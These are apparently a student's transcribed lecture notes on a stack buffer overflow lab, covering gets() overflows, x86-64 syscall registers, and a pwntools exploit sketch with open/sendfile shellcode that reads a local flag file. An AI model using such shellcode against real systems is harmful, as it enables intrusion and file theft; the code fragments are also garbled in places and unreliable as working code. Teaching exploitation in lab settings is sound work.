

Lecture 5 Notes

Stack 4

main returns to libc start main

"Lib - C Dynamically linked in the"
of the compiled code

★ Heap space only gets allocated if ★
it gets called in the code

The instructions for main live in
the program's "text" section

gets(buffer) overwrites memory on the stack



— v
Main

sys_call instruction needed

• Need to set up the arguments ⚡
using specific registers

• Pass system call argument # with RAX ⭐
register

• syscall Open & Send file
will be used

shell: man 2 open

RAX value = 2
RDI value = string of file name
RSI value = flag

main()

Fd = file descriptor

int fd

fd = open("./flags.txt", O_RDONLY)

sendfile(1, fd, 0, 0x1ff)

rdi rsi rdx rcx

11
3

3

stdin, out, error are 0, 1, 2
when a program starts

```
mov    rsi, 0
lea    rdi, rax
mov    rax, 0x0
call   DataAddr
mov    eax, ptr
mov    ecx, 0x1ff
mov    edx, 0x0
mov    esi, eax
mov    edi, 0x1
call   DataAddr sendfile
```

{ Eax = first 32 bits }

if you see a large ~~of~~ returned 0xFFFF
then something went wrong calling
open

★ If we want to make a sys
call, make a simple program to ★
see how to set up the calling
instructions in shell code

Exploit.py offset = 56

```
Context.binary = '/. stack.c'  
Context.log.level = 'debug'  
offset = 56  
p = (process code) for debug session
```

```
code = asm("""  
    /* open */
```

```

push 0x7478
mov rax, 0x742e67616c6662fe
push rax,

```

```

mov eax, 2      -> fewer bytes to null bytes in Eax
mov rdi, rsp
xor esi, esi    -> sets to 0
xor edx, edx    -> sets to 0
syscall_open

```

/s send file #/

```

mov esi, eax    ->
mov eax, 40     ->
mov edi, 1      -> sets to Std Out
xor edx, edx    -> sets to 0
mov r10, 0xff

```

syscall_sendfile

```

mov eax, 60
syscall_exit(11)

```

shell run a, c/c -n 8 -l Addr returned

buffer_addr = "

"

" 14 .1

exp-string (flat < 0: code, offset: start of string)
p.sendln(exp-str)
p.wait()

Stack 4-32 need to do 32 bit
sys calls

Stack 4 reuse only
allows read, write, open
ASLR is enabled

connect with netcat

netcat is about 0 shell port #